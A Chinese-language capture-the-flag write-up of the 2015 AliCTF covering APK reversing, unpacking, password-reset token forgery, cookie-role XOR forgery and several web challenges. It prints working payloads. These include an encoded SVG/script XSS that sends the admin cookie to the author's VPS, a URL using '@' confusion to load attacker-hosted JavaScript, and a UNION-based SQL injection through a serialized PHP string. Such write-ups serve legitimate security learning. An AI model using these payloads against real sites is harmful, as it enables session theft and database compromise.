2015 AliCTF Writeup

来源:互联网 发布:神武2mac版能玩吗 编辑:程序博客网 时间:2024/05/20 01:45

0x00

给了个apk,反编译之。使用JEB,一开始使用classes_dex2jar出来的代码不能看.....

入口的Activity中有两个对话框,发现调用了check方法,只要不报异常就能成功。

这里的this.bM类的一个对象,所以找M类中的check方法。

进入check,看到代码的意思如下,调用getKey获取一个8字节的字符串:

这里不会抛异常,所以调用的是T类中的方法。

然后接下来,里面有个16元素的数组,赋值的索引很乱,只能写纸上依次把元素的值找出来。

真正的关键代码如下:

在循环中,v10开始,v2是题目中给出的数组,一共16个元素。arg10是我们从TextView中传递过来的字符串。只要绕过if就不抛异常了。

看到if的条件是异或运算然后比较,得出绕过条件boddylanbobdylan这个16位串与数组的元素挨个异或求出值即可,写段代码如下:

得到flagblow,in the winD.

输入到APK中,弹出正确的dialog,然后提交到题目就得分了。

0x01

绕过xss过滤,在页面中可以提交<script>标签。于是提交js,发现过滤了.=()等字符,一开始想到使用反引号绕括号的过滤,可以弹窗,但是要收cookie就不行了,于是考虑对js代码进行编码(html编码再URL编码)操作:

可以弹出窗口,那么利用location.href重定向一下,然后vps收一下cookie就行了。Payload的形式为:

<svg><script>urlencode(location.href=http://vps/1.php?c=+escape(document.cookie))</script>

这里是利用了svg标签的xml编码特性,在svg元素中的<script>元素,会先进行xml解析,然后再执行。这里使用了一次html编码,执行时自动解码。如果直接将payload进行一次html编码,还是会被过滤,而且全部都没有了,于是考虑再进行一次URL编码后提交,成功。

http://089d9b2b0de6a319.alictf.com/xss.php?name=<svg><script>%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2346%3B%26%23104%3B%26%23114%3B%26%23101%3B%26%23102%3B%26%2361%3B%26%2334%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%2350%3B%26%2348%3B%26%2351%3B%26%2346%3B%26%2349%3B%26%2357%3B%26%2353%3B%26%2346%3B%26%2349%3B%26%2352%3B%26%2349%3B%26%2346%3B%26%2349%3B%26%2351%3B%26%2355%3B%26%2347%3B%26%2349%3B%26%2346%3B%26%23112%3B%26%23104%3B%26%23112%3B%26%2363%3B%26%2399%3B%26%2361%3B%26%2334%3B%26%2343%3B%26%23101%3B%26%23115%3B%26%2399%3B%26%2397%3B%26%23112%3B%26%23101%3B%26%2340%3B%26%23100%3B%26%23111%3B%26%2399%3B%26%23117%3B%26%23109%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2346%3B%26%2399%3B%26%23111%3B%26%23111%3B%26%23107%3B%26%23105%3B%26%23101%3B%26%2341%3B</script>

VPS放置一个1.php页面,这个PHP页面接收GET参数c,即管理员cookie,然后将cookie字符串写入到本地1.txt文件中,最终Vps上直接从cookie获取到flag

Base64解码一次这个flag,得到一个URL,点进去就是flag了。

0x02

打开之后发现有注册页面,并且提示只有Admin用户才能访问shop。第一反应就是要注册覆盖,在insert中使用一些换行符可以达到效果:

然后登录Admin账户,可以发现卖东西的页面:


但是只有一点点钱,所以只能抓包看看能不能把数量改为负数。

真的可以,提交后alert一个payment,反向付款让我直接变土豪了。

用这些钱去买那个最贵的草泥马得到flag

0x03

右键查看源码,给出了一段jquery代码。使用jquerygetScript方法载入default.js,第一反应是要绕过URL验证导向我们自己的js文件。

思路有了就要绕过了。

导向到我们自己的js,要使用前端猥琐流URL Hacking技术,在web之困和乌云知识库上都有看到过URL中的@可以作为重定向。

Js代码的目的就是将location.hashURL进行解析,分离出URL组成中的协议、端口、认证的用户名密码,以及判断了是否域名为notexist.example.com

重点是如果将重定向的域名指定为我们的js地址,绕过如下代码:

具体绕过是根据这段代码:

原理主要是用了@的不同含义,@既可以用来做验证,即前面跟用户名密码然后冒号分割,又可以进行重定向。绕过就是依靠这个性质,payload如下:

http://ef4c3e7556641f00.alictf.com/xss.php?http://x:x@notexist.example.com:@xss.hacktask.net/bLabyp?1427513459

红色部分是我的js地址。

xss平台上,成功收到flag

Base64解码一次这个flag,得到一个URL,点进去就是flag了。

0x04

这里打开后看到有登录、注册和密码找回。既然搞业务逻辑,密码找回的概率大,所以从它入手,随便注册一个账号,看到邮件发来之后是以一串token作为url连接:

猜测这个token可以破解出来,在密码找回页面上,看到了提示:

每次打开页面的serverTime都不一样,但是这个key不变,所以肯定用了什么组合方式将这个key作为token的一部分。

之前有从乌云上看到360的密码找回的弱token字段的爆破,所以这里要研究一下这个pass_token是如何生成的,这样就可以绕过邮箱了。

随便申请个账号ynu,点击密码找回做个测试,发现邮件中有发件时间的提示,我用了用户名+key+时间戳的组合进行测试。但是邮件中没有给秒数,所以自己做个list遍历看能不能得到token,代码如下:

运行结果如下:

可以看到,成功生成了token

按照这个思路,将admin的密码找回链接生成出来就行了。

步骤:

1、点击密码找回,输入admin

2、提交,然后提交前要查看源码,主要是看那个serverTime,给了秒数。

3、在程序中递增这个秒数直到获取了url

代码如下,因为发邮件会有一定的延迟,所以要递增这里的gettime函数中的秒数,直到输出的html页面不是“链接失效”:

生成了admin的密码重置URL之后,点击进去可以设置密码了:

这里还有个坑,改了密码登录发现被检测出异常登录,蛋疼。

心想肯定限制了IP,提交X-Forwarded-For字段,还是不行。就差一点儿去爆破常用的内网网段了。。。。。。。。

最后脑洞开了,= =济南人事管理系统,真不会是用真的济南的IP来搞吧......

找了个在济南上学的同学,然后用QQ的远程控制功能登录这个题,输入admin的账号密码,用了济南的IP再次登录就获取到了flag

我做完之后,看到公告是说降低了题目的难度,不知道是不是直接找个济南IP加载X-Forwarded-For字段里就行了。

0x05

1. 脱壳

UpxBT5下面使用upx –d先进行脱壳。

2. 调试

Od加载发现运行不起来有反调试。

运行程序,然后attach

GetWindowTextA下断,回溯堆栈,找到程序调用的地方。

回溯上一层

其中loc_405900就是获取用户输入的地方。猜测验证key的程序在loc_4051602函数因为花指令,ida没有把他们识别为函数,因此不能反编译。进入loc_405160,发现往栈上赋值,猜测为flag

往下看了下,有对字符串变换的指令,直接拖到该函数结束的地方下个断

这儿如果跳转,程序返回1. 如果不跳,程序返回0。 因此这应该大概是最终比较的地方。所以选择在此处下断。

次查看那块内存。

得到flag

0x06

拿到页面之后,发现源码页面有注释的两段PHP代码,一段是加密算法,一段是解密算法。

一进来就显示Guest,没有登录的话,应该是cookie字段有东西,抓包看果然有个role字段,是base64编码过的,解码一下发现没有实际意义。

这时就想到能不能从算法本身入手,分析代码中的缺陷来自己构造出Admin账户的role字段,就可以访问Article了。

分析源码:

 

1、加密算法

具体的加密算法流程如下:

密文的Guest前后32位组成为:

md5(Guest)  32rnd  $V

32位为:

32rnd  reverse_$V

 

2、解密算法

解密算法只返回一个32位的串。

取前面32位,组成为:

Md5(Guest)  32rnd  $V结合我们加密时获取的后面32位的数据,这32位和明文本身无关,经过异或运算的性质,相同值为0,任何串和0异或是它本身。就可以推导出Adminrole字段,具体过程如下,前32位主要使用异或把Guestmd5抵消掉,然后加上我们的Adminmd5值,具体的公式如下:

md5(Guest)  32rnd  $V  md5(Admin)  md5(Guest)

32位都一样,从http报文的role的后32base64解码之后拼接过来就行了。这里的自带的role字段的值base64解码后要凑够64位,加两个等号补位。

还原Adminrole字段代码如下:

运行结果:

运行代码即可获取Adminrole字符串,抓包加入至cookie,然后成功返回了页面,提示我们是Admin用户。

但是访问Article会找不到flag,居然还有坑= =。。。。

抓包看下,发现还有个article字段,urldecode一下发现是个PHP序列化字符串,是个integer类型,内容为1,抓包截图:

我们尝试修改这个原来的1,发现页面返回不一样了,第一反应这里可能要注入拿flag

提交string类型的序列化字符串,分别提交:

s:9:1 and 1=1;

s:9:1 and 1=2;

页面返回有差异,确定为注入点。这里肯定是把序列化字符串直接带入了SQL语句进行查询了。

使用order by猜解列数,发现为两列:


使用union查询来确定回显列数,为第二列:

获取flag,这里算我人品好,当时做到这里快没时间了,于是猜flag字段和flag表,人品爆发!!!!!

Payload为:

S:39:1 and 1=2 union select 1,flag from flag;

直接访问这个页面就获取了flag



2 1
原创粉丝点击